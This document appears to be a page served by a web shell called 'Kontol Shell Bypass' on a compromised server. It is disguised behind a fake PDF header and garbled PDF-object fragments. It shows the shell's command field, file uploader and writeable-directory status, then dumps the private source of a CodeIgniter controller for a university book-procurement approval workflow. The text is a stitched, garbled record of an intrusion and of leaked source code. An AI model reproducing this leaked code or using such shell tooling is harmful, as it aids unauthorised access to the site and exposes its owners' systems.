%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/application/controllers_new/admin_old/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/application/controllers_new/admin_old/Indent.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Indent extends CI_Controller {

	function __construct(){
		parent::__construct();
		$this->load->model('Common_Model');
		if(! $this->session->userdata('elib_adminloggedin'))
		redirect('admin');
	}
	
	public function index()
	{
		$data                    = array();
		$head                    = array();
		$head['title']           = array();
		$head['description']     = array();
		$head['keywords']        = array();
		$user_id                 = $this->session->userdata('elib_adminloggedin')->id;
		$role_id                 = $this->session->userdata('elib_role_id');
		$school_id               = $this->session->userdata('elib_adminloggedin')->school_id;
		$indentLevel             = [];
		$indentLevelArray        = [];
		//$data['schoolArray']     = $this->Common_Model->getCommonIdArray('tbl_schools');
		$data['schoolArray']     = $this->Common_Model->SqlgetCommonIdArray('su_schools','*',array('status' => '1'));		
		$data['departmentArray'] = $this->Common_Model->SqlgetCommonIdArray('su_departments','*',array('status' => '1'));
		if($this->session->userdata('elib_role_id') == '3'){
			$data['schoolArray']     = $this->Common_Model->SqlgetCommonIdArray('su_schools','*',array('id'=>$school_id,'status'=>'1'));
		    $data['departmentArray'] = $this->Common_Model->SqlgetCommonIdArray('su_departments','*',array('school_id'=>$school_id,'status'=>'1'));
		}
		// if (isset($_POST['SubmitSearch'])) {
		// 	$condition   = $this->getConditionAccordingToSearch($_POST['school_id'],$_POST['department_id'],$_POST['status']);
		// 	$indentLevel = $condition['indentLevel'];
		// }
        //All indents visible to Super Admin
	    //$data['totalIndents']    = $this->Common_Model->getCommonQuery('tbl_indents','*','',array('id'=>'desc')); 
		$condition               = array('tbl_indents.status'=>'1');
		$conditionArray          = array();
	   // $data['totalIndents']    = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$indentLevel,array('tbl_indents.status'=>'1'),array('tbl_indents.id'=>'desc')); 		
		// only their indents visible to faculty
		//if($this->session->userdata('elib_role_id') =='2'){
		if($this->session->userdata('elib_role_id') =='15'){
			//$data['totalIndents'] = $this->Common_Model->getCommonQuery('tbl_indents','*',array('added_by_role'=>'2','added_by_user'=>$user_id,'status'=>'1'),array('id'=>'desc')); 
			//$data['totalIndents'] = $this->Common_Model->getCommonQuery('tbl_indents','*',array('added_by_role'=>$this->session->userdata('elib_role_id'),'added_by_user'=>$user_id,'status'=>'1'),array('id'=>'desc')); 
            $condition = array('added_by_role'=>$role_id,'added_by_user'=>$user_id,'tbl_indents.status'=>'1');
			//$data['totalIndents'] = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$indentLevel,array('added_by_role'=>$role_id,'added_by_user'=>$user_id,'tbl_indents.status'=>'1'),array('tbl_indents.id'=>'desc')); 
		} 
		//only their and their school indents visible to dean
		else if($this->session->userdata('elib_role_id') =='3'){
			//$userData = $this->Common_Model->getSingleRecord('tbl_register','school_id',array('id'=>$user_id));
			//$data['totalIndents'] = $this->Common_Model->getIndentRecordsForDean('tbl_indents','*',"(added_by_role='15' OR (added_by_role = '3' AND added_by_user = $user_id))",array('school_id'=>$userData['school_id'],'status'=>'1'),array('id'=>'desc')); 
		    $condition            = array('school_id'=>$school_id,'tbl_indents.status'=>'1');
			//$data['totalIndents'] = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$indentLevel,array('school_id'=>$school_id,'tbl_indents.status'=>'1'),array('tbl_indents.id'=>'desc')); 
		}  
		//indents totalCost > 25000.00 INR and approved by dean visible to VC
		else if($this->session->userdata('elib_role_id') =='4'){
			$condition   = array('tbl_indents.status'=>'1','totalCost>'=>'25000.00');
			$indentLevel = ['3','5','6','7','8','9','10'];
			//$data['totalIndents'] = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$indentLevel,array('tbl_indents.status'=>'1','totalCost>'=>'25000.00'),array('tbl_indents.id'=>'desc')); 
		}
		//indents approved by dean(and VC in special case) visible to Librarian
		else if($this->session->userdata('elib_role_id') =='5'){
			$indentLevel = ['2','5','7','8','9','10','11'];
			//$data['totalIndents'] = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$indentLevel,array('tbl_indents.status'=>'1'),array('tbl_indents.id'=>'desc')); 
		}
		//indents approved by Librarian visible to Store
		else if($this->session->userdata('elib_role_id') =='6'){
			$indentLevel = ['7','9','10','11'];
			//$data['totalIndents'] = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$indentLevel,array('tbl_indents.status'=>'1'),array('tbl_indents.id'=>'desc')); 
		}  
		if (isset($_POST['SubmitSearch'])) {
			$conditionSearch   = $this->getConditionAccordingToSearch($_POST['school_id'],$_POST['department_id'],$_POST['status']);
			if($conditionSearch['indentLevel']){
			    $indentLevelArray  = $conditionSearch['indentLevel'];
			}else{
			    $indentLevelArray  = $indentLevel;
			}
			if($conditionSearch['condition']){
			    $conditionArray    = array_merge($condition,$conditionSearch['condition']);
			}else{
			    $conditionArray    = $condition;
			}
		}
		else{
			$conditionArray    = $condition;
			$indentLevelArray  = $indentLevel;
		}
		//print_r($conditionArray);die;
		if(isset($_GET['status']) && !isset($_POST['SubmitSearch'])){
            $status    = base64_decode($_GET['status']);
			$newStatus = '';
            if($status == 'pending'){ $newStatus = "0";}else if($status == 'approved'){$newStatus = "1"; }else{$newStatus = "2";}
			$indentLevelArray = $this->getIndentStatusLevel($newStatus);

        } 
		//$data['totalIndents'] = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$indentLevel,$conditionArray,array('tbl_indents.id'=>'desc')); 
		$data['totalIndents'] = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','',$indentLevelArray,$conditionArray,array('tbl_indents.id'=>'desc')); 

		$this->load->view('admin/_parts/header');	
		$this->load->view('admin/indent/view',$data);	
		$this->load->view('admin/_parts/footer');
		setHistory('Go to Indent View Module');
	}

	public function add()
	{
		$data                = array();
		$head                = array();
		$head['title']       = 'Add Indent|Online Book Procurement Portal';
		$head['description'] = 'Add Indent|Online Book Procurement Portal';
		$head['keywords']    = 'Add Indent|Online Book Procurement Portal';		
		$data['schoolArray'] = $this->Common_Model->SqlgetCommonIdArray('su_schools','*',array('status' => '1'));			
		$this->load->view('admin/_parts/header',$data);
		$this->load->view('admin/indent/add',$data);
		$this->load->view('admin/_parts/footer');
		setHistory('Go to Indent add Module');
	}

	public function createIndent(){
        $params                 = array();
		$userId                 = $this->session->userdata('elib_adminloggedin')->id;
		$roleId                 = $this->session->userdata('elib_role_id');
		$params['createdon']    = date('Y-m-d H:i:s');
		$params['comment_date'] = date('Y-m-d H:i:s');
		//$userData = $this->Common_Model->getSingleRecord('tbl_register','*',array('school_id'=>$this->input->post('school_id'),'role_id'=>'3','status'=>'1'));
		$userData = $this->Common_Model->getSingleRecord('tbl_admin','*',array('school_id'=>$this->input->post('school_id'),'role_id'=>'3','status'=>'1'));
		if($_POST){
			$this->form_validation->set_rules('school_id','School Name','required');
			$this->form_validation->set_rules('department_id','Department Name','required');
			$this->form_validation->set_rules('title','Title','required');
			$this->form_validation->set_rules('description','Description','required');
			$this->form_validation->set_rules('isbn','ISBN','required');
			$this->form_validation->set_rules('author','Author','required');
			$this->form_validation->set_rules('singleBookCost','Single Book Cost','required');
			$this->form_validation->set_rules('noOfBooks','No. of Boooks','required');
			$this->form_validation->set_rules('totalCost','Total Cost','required');
			//$this->form_validation->set_rules('status','Status','required');
			
			if($this->form_validation->run())
			{
					//save data in tbl_indents
					$_POST['createdon']      = date('Y-m-d H:i:s');
					$_POST['indentNumber']   = $this->getIndentNumber($_POST['department_id'],$_POST['school_id']);
					$_POST['added_by_role']  = $roleId;
					$_POST['added_by_user']  = $userId;
					$_POST['singleBookCost'] = round($_POST['singleBookCost'],2);
					$_POST['totalCost']      = round($_POST['totalCost'],2);
		            //$this->session->set_flashdata('success', 'Indent added succesfully');
					if($resp = $this->Common_Model->saveinfo($tbl_name='tbl_indents',$_POST))
					{  	
						//$schoolArray     = $this->Common_Model->getSingleRecord('tbl_schools','id,school_name',array('id'=>$_POST['school_id']));
						//$departmentArray = $this->Common_Model->getSingleRecord('tbl_departments','id,name',array('id'=>$_POST['department_id']));
						$schoolArray     = $this->Common_Model->SqlgetSingleRecord('su_schools','id,school_name',array('id'=>$_POST['school_id']));
						$departmentArray = $this->Common_Model->SqlgetSingleRecord('su_departments','id,name',array('id'=>$_POST['department_id']));
						$userEmail       = ['userEmail'=>$this->session->userdata('elib_email'),'name'=>$this->session->userdata('elib_first_name')];
						$indentRecords   = ['indentNumber'=> $_POST['indentNumber'],'school'=>$schoolArray['school_name'],'department'=>$departmentArray['name'],'title'=>$_POST['title'],'description'=>$_POST['description'],'isbn'=>$_POST['isbn'],'author'=>$_POST['author'],'singleBookCost'=>$_POST['singleBookCost'],'noOfBooks'=>$_POST['noOfBooks'],'totalCost'=>$_POST['totalCost'],'createdon'=>date('Y-m-d H:i:s'),'isBookAvailable'=>$_POST['isBookAvailable'],'noBooksAvailable'=>$_POST['noBooksAvailable']];	
					    $this->sendUserConfirmationEmail($indentRecords,$userEmail);
						//save data in tbl_comments		   					
					    $params['indent_id']    = $resp;
					    $params['indentLevel']  = '1';
					    $params['comment']      = 'Indent created';
						$params['user_id']      = $userId;
						$params['role_id']      = $roleId;
                        $params['actionRoleId'] = '3';
                        $params['actionUserId'] = $userData['id'];
						$contactEmail           = ['userEmail'=>$userData['email_id'],'name'=>$userData['first_name']];
					    $this->Common_Model->saveinfo($tbl_name='tbl_comments',$params);
					    $this->sendAdminApprovalEmail($indentRecords,$contactEmail);
					//}
				        $message = array(
					        'status' => '200',
					        'message'=> 'success'
				        );  
				        setHistory('Indent Added Successfully');
					}
					else{
						$message = array(
							'status' => '400',
							'message'=> 'Bad Request'
						);
					}
					//echo json_encode($message);
				   //redirect('admin/indent/view');				
			} else {
				$message = array(
					'status' => '400',
					'message'=> 'Invalid Values'
				);
				// setHistory('Validation error on adding indent');
			    // $this->load->view('admin/_parts/header',$data);
				// $this->load->view('admin/indent/add');
			    // $this->load->view('admin/_parts/footer');
			}
		}
		echo json_encode($message);
	}

	public function detail()
	{
		$data = array();
		$uid  = '';
		if(isset($_GET['via']))
		{ 
			$uid  = base64_decode($_GET['via']);
		}
		$data['schoolArray'] = $this->Common_Model->SqlgetCommonIdArray('su_schools');		
		$data['departmentArray'] = $this->Common_Model->SqlgetCommonIdArray('su_departments');
	    $data['indentArray'] = $this->Common_Model->getSingleRecord('tbl_indents','*',array('id'=>$uid));   
	    $data['commentsArray'] = $this->Common_Model->getCommonQuery('tbl_comments','*',array('id'=>$uid));   
		$this->load->view('admin/_parts/header');	
		$this->load->view('admin/indent/detail',$data);	
		$this->load->view('admin/_parts/footer');
		setHistory('Go to Indent Detail Module');
	}

	// public function delete($uid)
	// {
	// 	$this->Common_Model->removeAllItems('tbl_indents',$uid,'id');
	// 	$this->session->set_flashdata('success', 'Indent data deleted');
	// 	setHistory('Indent data deleted');
	// 	redirect('admin/indent/view');
	// }

	public function approveIndent(){
		$resp = '';
		if($_POST){
			$params                 = array();
			$notifymsg              = "";
			$subject              = "";
			$params['user_id']      = $this->session->userdata('elib_adminloggedin')->id;
			$params['role_id']      = $this->session->userdata('elib_role_id');
			$params['indent_id']    = $_POST['indentId'];
			$actionArray            = $this->Common_Model->getMaxActionId('a.actionRoleId,a.actionUserId,a.indentLevel,a.id',$_POST['indentId'],array('status'=>'1')); 
			$currentindentLevel     = $actionArray['indentLevel'];
			$params['comment']      = $_POST['comment'];
			$totalCost              = $_POST['totalCost'];
			$params['status']       = '1';
			$params['createdon']    = date('Y-m-d H:i:s');
			$params['comment_date'] = date('Y-m-d H:i:s');
			$params['action']       = $action = $_POST['action'];
			//$indentData             = $this->Common_Model->getSingleRecord('tbl_indents','school_id,department_id,indentNumber,title,description,isbn,author,singleBookCost,noOfBooks,totalCost',array('id'=>$_POST['indentId']));
			$indentData             = $this->Common_Model->getCommonJoinRecords('tbl_indents','*','','',array('tbl_indents.id'=>$_POST['indentId']));			
			$facultyData            = $this->Common_Model->SqlgetSingleRecord('tbl_register','*',array('id'=>$indentData[0]['added_by_user']));
			//$schoolArray            = $this->Common_Model->getSingleRecord('tbl_schools','school_name as school',array('id'=>$indentData['school_id']));
		    //$departmentArray        = $this->Common_Model->getSingleRecord('tbl_departments','name as department',array('id'=>$indentData['department_id']));
			$schoolArray            = $this->Common_Model->SqlgetSingleRecord('su_schools','school_name as school',array('id'=>$indentData[0]['school_id']));
		    $departmentArray        = $this->Common_Model->SqlgetSingleRecord('su_departments','name as department',array('id'=>$indentData[0]['department_id']));
			$indentDataNew          = array_merge($indentData[0],$schoolArray,$departmentArray);
			//print_r($facultyData);die;
			
			//$userData               = $this->Common_Model->getSingleRecord('tbl_register','*',array('school_id'=>$indentData,'role_id'=>'3'));
			$actionRoleId           = 0;
			$actionUserId           = 0;
            if($this->session->userdata('elib_role_id')=='3'){
				if($action == 1){ 
					$indentLevel  = 2;                     //Approved by Dean; Needs to be Approved by librarian
					$actionRoleId = 5;
					$subject      = "approved by Dean";
					$notifymsg    = "approved by Dean and is currently in process of approval from the Librarian.";
					//$librarianData = $this->Common_Model->getSingleRecord('tbl_admin','*',array('role_id'=>$actionRoleId));
					//$actionUserId = 686; 
					//$actionUserId = $librarianData['id']; 
					if($totalCost > 25000.00){
					    $indentLevel  = 3;                 //Approved by Dean;Needs to be Approved by VC
					    $actionRoleId = 4;
					    $subject      = "approved by Dean";
					    $notifymsg    = "approved by Dean and is currently in process of approval from the VC.";
						//$vcData     = $this->Common_Model->getSingleRecord('tbl_admin','*',array('role_id'=>$actionRoleId));
					    //$actionUserId = 8; 
					    //$actionUserId = $vcData['id']; 
					}
					//$notifymsg   = "Approved by Dean";
				}    
				else{ 
					$indentLevel  = 4;                     //Rejected by Dean;closed
				    //$actionRoleId = 0;
					//$actionUserId = 0; 
					$subject      = "rejected by Dean";
					$notifymsg    = "rejected by Dean and so is closed.";
				}                
			} 
			// only if the totalCost > 25000.00 INR
			else if($this->session->userdata('elib_role_id')=='4'){
				if($action == 1){ 
					$indentLevel  = 5;                      //Approved by VC;Needs to be approved by Librarian
					$actionRoleId = 5;
					$subject      = "approved by VC";
					$notifymsg    = "approved by VC and is currently in process of approval from the Librarian.";
					//$librarianData = $this->Common_Model->getSingleRecord('tbl_admin','*',array('role_id'=>$actionRoleId));
					//$actionUserId = 686; 
					//$actionUserId = $librarianData['id']; 
				}   
				else{ 
					$indentLevel  = 6;                      //Rejected by VC;closed
					//$actionRoleId = 0;
					//$actionUserId = 0; 
					$subject      = "rejected by VC";
					$notifymsg    = "rejected by VC and so is closed.";
				}                  
			} 
			else if($this->session->userdata('elib_role_id')=='5'){
				if($currentindentLevel == 9){
					if($action == 1){
						$indentLevel = 11;                   //closed by Librarian;closed
						$actionRoleId = 0;
						//$storeData = $this->Common_Model->getSingleRecord('tbl_admin','*',array('role_id'=>$actionRoleId));
						//$actionUserId = 687; 
						$actionUserId = 0; 
					    $subject      = "Order completed";
						$notifymsg    = "closed by Librarian as the order has been completed." ;
						}    
					// else{ 
					// 	$indentLevel  = 8;                   //Rejected by Librarian;closed
					// 	$actionRoleId = 0;
					// 	$actionUserId = 0;
					// 	$notifymsg   = "Rejected by Librarian" ;
					// }   
				}
				else{
				if($action == 1){
					$indentLevel = 7;                   //Approved by Librarian;Needs to be approved by Store
					$actionRoleId = 6;
			        //$storeData = $this->Common_Model->getSingleRecord('tbl_admin','*',array('role_id'=>$actionRoleId));
					//$actionUserId = 687; 
					//$actionUserId = $storeData['id']; 
					$subject     = "approved by Librarian";
					$notifymsg   = "approved by Librarian and is currently in process of approval from the Store.";
					}    
				else{ 
					$indentLevel  = 8;                   //Rejected by Librarian;closed
					//$actionRoleId = 0;
					//$actionUserId = 0;
					$subject     = "rejected by Librarian";
					$notifymsg   = "rejected by Librarian and so is closed." ;
				} 
			  }               
			} 
			else if($this->session->userdata('elib_role_id')=='6'){
				//$actionRoleId = 0;
				//$actionUserId = 0;
				if($action == 1){ 
					$indentLevel  = 9;                   //Approved by Store;sent to librarian for closure
					$actionRoleId = 5;
			        //$librarianData = $this->Common_Model->getSingleRecord('tbl_admin','*',array('role_id'=>$actionRoleId));
					//$actionUserId = $librarianData['id'];
					//$notifymsg   = "approved by store and is currently in process of closure from the Librarian.";
					$subject     = "approved by Store";
					$notifymsg   = "approved by Store.You can pick your order from the Store.";
				}    
				else{ 
					$indentLevel = 10;                     //Rejected by Store;closed
					$subject     = "rejected by Store";
					$notifymsg   = "rejected by Store and so is closed." ; 
				}                 
			}    
			else{
				if($action == 1){ 
					$indentLevel  = 2;                     //Approved by Dean
					$actionRoleId = 5;
			        //$librarianData = $this->Common_Model->getSingleRecord('tbl_admin','*',array('role_id'=>$actionRoleId));
					//$actionUserId = 686; 
					//$actionUserId = $librarianData['id']; 
					$subject     = "approved by Dean";
					$notifymsg   = "approved by Dean and is currently in process of approval from the Librarian.";
				 }    
				else{ 
					$indentLevel  = 4;                    //Rejected by Dean
				    //$actionRoleId = 0;
					//$actionUserId = 0; 
					$subject     = "rejected by Dean";
					$notifymsg   = "rejected by Dean and so is closed.";
				}                
			}
            $params['indentLevel']    = $indentLevel;
            $params['actionRoleId']   = $actionRoleId;
            //$params['actionUserId'] = $actionUserId;
			$adminData                = $this->Common_Model->getSingleRecord('tbl_admin','*',array('role_id'=>$actionRoleId));
			if($currentindentLevel != 9 && $action == 1 ){
                $params['actionUserId']   = $adminData['id'];
			}else {
                $params['actionUserId']   = $actionUserId;
			}
			if($resp = $this->Common_Model->saveinfo('tbl_comments',$params)){
				$contactEmail        = ['userEmail'=>$adminData['email_id'],'name'=>$adminData['first_name']];
				$contactEmailFaculty = ['userEmail'=>$facultyData['email'],'name'=>$facultyData['first_name']];
				$this->sendIndentEscalationEmail($indentDataNew,$contactEmailFaculty,$subject,$notifymsg);
				if($action == 1 && $currentindentLevel<=7){
				    if($currentindentLevel == 7){
				        $this->sendAdminIndentClosureEmail($indentDataNew,$contactEmail);
				    }else{
				        $this->sendAdminApprovalEmail($indentDataNew,$contactEmail);
				    }
			    }
				$message = array(
					'status' =>'200',
					'message'=> $action==1?'Approved':'Rejected'
				);
			}else{
				$message = array(
					'status' =>'400',
					'message'=>'Error in Approving'
				);	
			}			
			// $indentId = $_POST['indentId'];
			// $resp = $this->Common_model->saveinfo('indentlifecycle');
		}
		//echo $resp;
		echo json_encode($message);
	}

	// public function addComment(){
	// 	if($_POST){
	// 		$params = array();
	// 		$params['user_id'] = $this->session->userdata('elib_adminloggedin')->id;
	// 		$params['role_id'] = $this->session->userdata('elib_role_id');
	// 		$params['indent_id'] = $_POST['indentId'];
	// 		$params['comment'] = $_POST['comment'];
	// 		$params['status'] = '1';
	// 		$params['createdon'] = date('Y-m-d H:i:s');
	// 		$params['comment_date'] = date('Y-m-d H:i:s');
	// 		$resp = $this->Common_Model->saveinfo('tbl_comments',$params);
	// 	}
	// }
	public function getComments(){
		if($_GET['indentId']){
	      $commentsArray = $this->Common_Model->getCommonQuery('tbl_comments','*',array('indent_id'=>$_GET['indentId'])); 
	      $actionArray   = $this->Common_Model->getMaxActionId('a.actionRoleId,a.actionUserId,a.indentLevel,a.id',$_GET['indentId'],array('status'=>'1')); 
		  $message = array(
			  'status' => '200',
			  'data'   => $commentsArray,
			  'action' => $actionArray
		  );
		  echo json_encode($message);
		}  		
	}

	/*
	* Function: getIndentNumber
	*/
	public function getIndentNumber($dept_id, $school_id)
	{
		$leadscount = count($this->Common_Model->getCommonQuery('tbl_indents'));
		$randomNo   = $this->generateRandom();
		return substr(date('Y'),2).$randomNo.($leadscount+1).$dept_id.$school_id.substr(time(),2,4);
	}

	function generateRandom($size = 4)
	{
		$random_number='';
		$count=0;
		while ($count < $size ) 
			{
				$random_digit = mt_rand(0, 9);
				$random_number .= $random_digit;
				$count++;
			}
		return $random_number;  
	}

	/*
	* Function : sendUserConfirmationEmail
	*/
	private function sendUserConfirmationEmail($params,$contactDetails)
	{
		$email_id               = $contactDetails['userEmail'];
		$indentNumber           = $params['indentNumber'];
		$params['name'] = $name = $contactDetails['name'];
		if($email_id!='') 
		{
			$template = $this->load->view('admin/email_template/addindent_confirmation_email', $params, true);
			$subject = 'Dear '.$name.', Your Indent number '.$indentNumber.' is Generated';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
	}

	/*
	* Function : sendIndentEscalationEmail
	*/
	private function sendIndentEscalationEmail($params,$contactDetails,$sub,$notifymsg)
	{
		$email_id               = $contactDetails['userEmail'];
		$indentNumber           = $params['indentNumber'];
		$params['name'] = $name = $contactDetails['name'];
		$params['notifymsg']    = $notifymsg;
		if($email_id!='') 
		{
			$template = $this->load->view('admin/email_template/indent_escalation_email', $params, true);
			//$subject = 'Dear '.$name.', Your Indent no. '.$indentNumber.' escalated to next level';
			$subject = 'Dear '.$name.', Your Indent no. '.$indentNumber.' '.$sub;
			$this->sendCommonEmail($email_id, $subject, $template);
		}
	}

	 /*
	* Function : sendCommonEmail
	*/
	private function sendCommonEmail($to, $subject, $message)
	{
		$resp = send_email_pepipost($to, $subject, $message);
		return $resp;
		
	}

	/*
	* Function : sendAdminApprovalEmail
	*/
	private function sendAdminApprovalEmail($params,$contactDetails)
	{
		$email_id       = $contactDetails['userEmail'];
		$indentNumber   = $params['indentNumber'];
		$params['name'] = $contactDetails['name'];
		if($email_id!='') 
		{
			$template = $this->load->view('admin/email_template/approvalrequest_email', $params, true);
			$subject  = 'Indent Request for Approval : '.$indentNumber;
			$this->sendCommonEmail($email_id, $subject, $template);
		}
	}

	/*
	* Function : sendAdminIndentClosureEmail
	*/
	private function sendAdminIndentClosureEmail($params,$contactDetails)
	{
		$email_id       = $contactDetails['userEmail'];
		$indentNumber   = $params['indentNumber'];
		$params['name'] = $contactDetails['name'];
		if($email_id!='') 
		{
			$template = $this->load->view('admin/email_template/indentclosurerequest_email', $params, true);
			$subject  = 'Indent Request for Closure : '.$indentNumber;
			$this->sendCommonEmail($email_id, $subject, $template);
		}
	}

	/*
	* Function : sendApprovalConfirmationEmail
	*/
	private function sendApprovalConfirmationEmail($params,$contactDetails)
	{
		$email_id       = $contactDetails['userEmail'];
		$indentNumber   = $params['indentNumber'];
		$params['name'] = $contactDetails['name'];
		if($email_id!='') 
		{
			$template = $this->load->view('admin/email_template/approval_confirmation_email', $params, true);
			$subject = 'Indent '.$indentNumber.' Approved';
			$this->sendCommonEmail($email_id, $subject, $template);
		}
	}

	private function getConditionAccordingToSearch($school_id,$department_id,$status){
		$conditionArray                  = array();
		$conditionArray['indentLevel']   = [];
		$conditionArray['condition']     = array();
		if($status!=null){
		    $conditionArray['indentLevel']   = $this->getIndentStatusLevel($status);
		}
		if($school_id!=null && $department_id !=null){
			$conditionArray['condition'] = array('school_id'=>$school_id,'department_id'=>$department_id);			
		}
		else if($school_id!=null){
			$conditionArray['condition'] = array('school_id'=>$school_id);			
		}
		else if($department_id !=null){
			$conditionArray['condition'] = array('department_id'=>$department_id);	
		}
		return $conditionArray;
	}

    public function getIndentStatusLevel($status=NULL){
		$user_id                 = $this->session->userdata('elib_adminloggedin')->id;
		$role_id                 = $this->session->userdata('elib_role_id'); 
		$school_id               = $this->session->userdata('elib_adminloggedin')->school_id;
		$indentLevel             = [];
		switch($role_id){
			case 3:                        //For dean
				$pendingIndentLevel      = ['1'];
				$approvedIndentLevel     = ['2','3','5','6','7','8','9','10','11'];
				$rejectedIndentLevel     = ['4'];
				break;
            case 4:                        //For VC
                $pendingIndentLevel      = ['3'];
		        $approvedIndentLevel     = ['5','7','8','9','10','11'];
		        $rejectedIndentLevel     = ['6'];
				break;
			case 5:                        //For Librarian
			    $pendingIndentLevel      = ['2','5','9'];
		        $approvedIndentLevel     = ['7','10','11'];
		        $rejectedIndentLevel     = ['8'];
				break;
			case 6:                        //For Store
				$pendingIndentLevel      = ['7'];
		        $approvedIndentLevel     = ['9','11'];
		        $rejectedIndentLevel     = ['10'];
				break;
			case 15:                       //For Faculty
				$pendingIndentLevel      = ['1','2','3','5','7','9'];
		        $approvedIndentLevel     = ['11'];
		        $rejectedIndentLevel     = ['4','6','8','10'];
				break;
			default:                       //SuperAdmin
				$pendingIndentLevel      = ['1','2','3','5','7','9'];
				$approvedIndentLevel     = ['11'];
				$rejectedIndentLevel     = ['4','6','8','10'];		
				break;
		}
		if($status == '0'){
			return $pendingIndentLevel;
		}else if($status == '1'){
			return $approvedIndentLevel;
		}else{
			return $rejectedIndentLevel;	
		}
	}


}

Kontol Shell Bypass